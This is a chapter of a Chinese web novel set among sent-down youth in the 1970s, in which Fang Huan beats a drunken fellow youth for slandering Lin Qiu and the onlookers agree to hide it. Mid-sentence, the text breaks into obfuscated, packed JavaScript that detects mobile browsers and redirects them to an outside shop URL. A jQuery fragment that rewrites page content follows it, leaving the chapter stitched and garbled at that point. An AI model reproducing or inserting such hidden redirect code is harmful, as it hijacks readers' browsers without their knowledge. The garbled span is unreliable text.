59. 打架斗殴
作品:《炮灰女配但种田致富[七零]》 汪平倒是脸皮够厚,反正他没有指名道姓,这会儿就算直接被质问,他也不慌,把目光移回来,跟没骨头似的倚着墙,依旧恬不知耻地说:“我又没说你,你急什么?”
他摆明了就是不想承认,平时也是这样,阴阳怪气地说几句,别人听了心里不舒服也拿他没办法。
偏偏这次方焕不打算就这么放过他。
方焕不是头一回听见这些话了,他不仅是在背后骂自己、骂女知青,有时候还会把林秋牵扯进来,只不过以前都抓不到现行,只要一个眼神他就会转移话题,今天好不容易撞上了,怎么能轻易放过。
方焕板着脸走向他,直接伸手抓住他的衣领,把他从墙上拎起来,再问了一遍:“你刚刚说什么?”
他语气严肃,身边的气氛都跟着冷下来,刚刚还在说说笑笑的几个人都噤了声。下乡半年,方焕跟谁相处都没红过脸,向来都是和和气气的,就算吃点小亏也不会太计较,就连梁川跟他一起长大,都很少见他生气,这会儿一看他的脸上,心里就有点不详的预感。
可他也不能劝,不能劝自己人吃亏,汪平刚刚说的那些话本来就是自己找打,要是方焕想打架,他肯定第一个帮手。
汪平本来就多喝了点酒,胆子都壮了,再加上知青们都在旁边看着,他现在要是认怂道歉,这张脸就算是丢完了,所以即便衣领被方焕攥在手里,他还是把更难听的话说了出来:“我说你又怎么了,你都有脸老往大队长家里钻,上赶着舔人家大小姐,还怕别人说啊?”
方焕冷笑着把他压到墙上,左手抵着他的脖子,右手轻轻在他的脸颊上扇了几下,没想动手,只是侮辱。
他在汪平难以置信的注视中继续问:“这些话在心里憋很久了吧,每天收工都在我背后嚼舌根,还想说什么?”
头一回被人这么扇巴掌,汪平挣扎了两下,竟然还没挣开,心中的嫉妒更是扭曲,他就是看不惯方焕,一下乡就住进了大队长家里,天天往林秋身边凑,不就是想讨好记分员和大队长,给自己换点好处吗?同样都是知识分子,林秋到底看上他什么了?
他被方焕压制着动弹不得,开口更是口不择言,连林秋都一起骂进去了。
“你自己心里想的什么还需要我说出来吗?队里就那么一个记分员,你一见着她都快笑出花了,上赶着倒贴,就在她面前装积极,背地里不知道怎么讨好她。”
“听说卖苹果的主意也是你想出来的,还把功劳都推给她,以后是想当上门女婿吧?还是想踩着她回城,再当个现代陈世美?”
“那种人就是命好,生在大队长家里才叫大小姐,要是没投个好胎,早都嫁人生孩子了,你还看得上吗?白给你睡你都不要吧?靠着自己有个好爹,从来没见她干农活,拿着个记分簿到处溜达,招了……唔……”
这些话实在难听,方焕的脸色冷得像是要结冰,攥着他衣领的手往上用力,虎口直接捏住他的下颌,让他一个字都说不出来。
“唔……你……”
关节被捏着闭不上嘴,汪平的口水跟着从嘴角流出来,差点滴到方焕手上,他嫌弃得赶紧松手,握拳在空中甩了甩。
下颌的酸痛还没缓过来,看他像是要动手,吓得汪平贴着墙往后退了几步,话都说不清楚,声音都颤了,却还在威胁他:“你想打我?知青打架要受处分的,我不信你敢动手。”
方焕只甩下一句:“我懒得和醉鬼计较。”
旁的人还以为他是不打算计较了,可是他往后退了几步,拿过桌上的搪瓷缸,也不知道是谁倒的水,在屋里放了半天都凉透了,方焕端起那一缸凉水,半分犹豫都没有,全都泼到了汪平头上。
被冷水兜头一浇,惊吓远超过寒冷,汪平瞪大了双眼,压根没意识到发生了什么,可是凉水迅速从衣领里渗入他的躯干,让他浑身忍不住打起冷战。
那一缸水迅速被他的棉衣吸收,由内而外地散发出一阵寒气,逃都没地方可逃,被酒精烘出来的那点热气全被浇灭了,他歇斯底里地问:“姓方的,你到底要干嘛?”
方焕倒是依旧冷静,接着问他:“你现在清醒了吗?”
汪平惊恐地往后缩着脖子,心里还存着一丝侥幸,觉得方焕那句懒得计较,应该就是不敢跟自己动手,最多也就是泼个茶缸,还狰狞地笑着问他:“你是被我说中了,恼羞成怒了吧,怎么,自己敢做还怕别人说啊?”
回答他的,是迎面一拳,正好打在脸颊上,方焕擦着他的鼻梁收拳,他的鼻腔里立马就涌出一股鲜血,脸颊的淤血之下是满口的血腥气。平时连杀猪杀鸡都不敢看的汪平,哪里见过这么多血,手一擦就看见满手鲜红,想开口说话,先流出来的也是带血的口水。
他捂着鼻子都不知道该怎么处理,眼里只剩下恐惧,那点酒劲彻底散了,仰头看着站在面前的方焕,脸上的怒气半分都没消。
方焕不屑地看了他一眼,又说了一句:“看来是清醒了。”
他不和醉鬼计较,因为人只有在清醒的时候才会长记性。
这一拳本来想打在他的鼻梁上,但是他出手没留着力气,怕直接给他的脑子打出个好歹,别再遂了他想装病回城的小算盘。
“你你你……”
刚刚是被打蒙了,回过神来才感受到脸上的剧痛,汪平指着他说不出话,反而口鼻的血蹭了满手,看上去好不狼狈。
方焕懒得跟他废话,伸手握住他指着自己的食指,直接往后一掰,将他整个人掀翻在炕上,拳头直接就往他身上招呼。
汪平也试图挥手反抗,不过他那小身板,连把人推开都做不到。
方焕几乎是按着他打,不过力道都落在软处,保证让他疼,但不会伤筋动骨。
“啊,我错了,我……”
“别打了啊,你们……陈硕救我……”
知青们向来不算团结,即便睡在一个炕上也没什么交情,但这还是头一回闹成这样,旁边围观的人都傻了,压根没想到方焕会直接动手。
最先回神的还是梁川。
不过他一开始是想帮忙的。
以前上学的时候他们也打架,胡同里不可能人人都相处和谐,学校里也会有点矛盾,大部分时候都能好好解决问题,但是遇上不讲理的人,他俩永远都站在一边。
梁川直接用胳膊肘按住了不断挣扎的汪平,让他动都动不了,可是打了一会儿,汪平挣扎力气逐渐弱下去,看方焕还没有停手的苗头,才转为拉架,凑到他耳边小声说:“方焕,够了,为这种人把自己搭上去不划算,出口气就行了。”
梁川有心拉架,双手用力抓着他的胳膊,给了汪平爬远一点的空隙,又接着劝他:“冷静点,想想林姑娘,事情闹大了你回头怎么跟她解释?”
听见他提到林秋,方焕手上的力道才卸下来,扭过头不说话了。
旁边的汪平还在不断哀嚎,刚刚被吓得不敢帮忙的其他人才赶紧凑过去,把他拉到炕头上坐稳,又是拿帕子塞进他鼻腔里止血,又是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348178|193809||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
帮他擦脸上的血迹,陈硕还在劝着:“不能打架斗殴,有话咱们好好说,大家都是好同志,要讲团结。”
陈硕嘴上说得最多,实际出力最少,站得最远,撞上汪平求助的眼神就快速挪开眼睛,像是生怕自己被牵扯进去。
汪平说的那些话,有不少是他平时添油加醋,故意引着他往那个方向想的,不过他只起个话头,话里有话地挑拨几句,说方焕经常往记分员旁边凑,说方焕和大队长家里好像走得很近,剩下的都不是从他嘴里出来的。
平时背着人说说也就罢了,他没想到汪平喝了酒这么不靠谱,不仅敢骂方焕,连大队长家都敢说,更没想到方焕真的敢动手。
他们看不惯谁,最多就是言语上挤兑几句,或者分工劳动记分的时候偷偷使绊子,哪见过这个场面。
汪平浑身疼得直不起身,连坐都坐不稳,得要其他知青扶着才行,他就那么躬在炕头,拿帕子擦着脸上的血,嘴里还在念念有词:“你竟然敢打我,大家都看见了,我要去告诉大队长,你这就是流氓罪,我要让你去劳改!”
方焕不怕他,气定神闲坐在一边:“你赶紧去告,顺便把刚刚侮辱女同志的那些话也再说一遍,就像你说的,大家都是证人,咱们看看大队长会让谁去劳改。”
这话一出,连汪平都怕了,挪开眼睛半分底气都没有。
村里谁不知道林秋是林家的宝贝,林建军那么护短的人,要是被他知道自家闺女被这么造谣,还真不一定能干出什么事。
方焕不是冲动暴力的性格,动手前他就有心理准备,要告状还是要报复,他都能承担,但是听见林秋被那种话侮辱,他就忍不了。
之前悄悄议论还不够,一聊到女同志就只有污言秽语,今天竟然当着面都敢说这种话,他就怕影响林秋的名声,不过平时找不到机会澄清,索性今天杀鸡儆猴,让大家都知道什么话不该说。
方焕冰冷的眼神扫过屋里所有的男知青,却没一个人敢看他。
过了一会儿,角落里才有人接话:“我们没听见,我们喝醉了,都忘了……”
方焕冷笑一声,他早就料到会是这样,这些知青只想着回城,多一事不如少一事,怎么可能为了汪平把自己牵扯进去,他又问:“那你们看见什么了?”
“没,没看见……”
梁川在旁边搭腔:“我好像看见汪平喝多了酒,自己撒酒疯,不小心从炕上摔下来,摔得满脸是血。”
“对对对,不小心摔了……”
汪平还在震惊中说不出话,他没想到平时一起口出黄言的“朋友”,真遇到事竟然会这么冷漠。
这就算是盖棺定论了,今天他们在知青宿舍里说的话、动的手,都不会让大队长知道,方焕看着这个场面冷笑,最后再警告了一句:“嘴臭就去住牛棚,家里没教好,平时就多学学怎么尊重女性,以后要是再传女同志的谣言,我听到一次打你一次。”
屋里没人应他,方焕随手拿架子上的湿帕子擦了擦手,拉开门就走了。
这种怂蛋,亲手教训他都嫌脏了自己的手。
室外的寒风刮在脸上,他的心情才慢慢平复下来,方焕出了院子之后,漫无目的地沿着小路往前走,转了几个弯才发现,这是往林家的方向。
也不知道林秋在做什么。
今天是冬至,是一家团聚、还要祭祖的日子,方焕原本没打算去林家打扰。
可是血液冷却下来的这一刻,他突然迫切地想见到林秋。

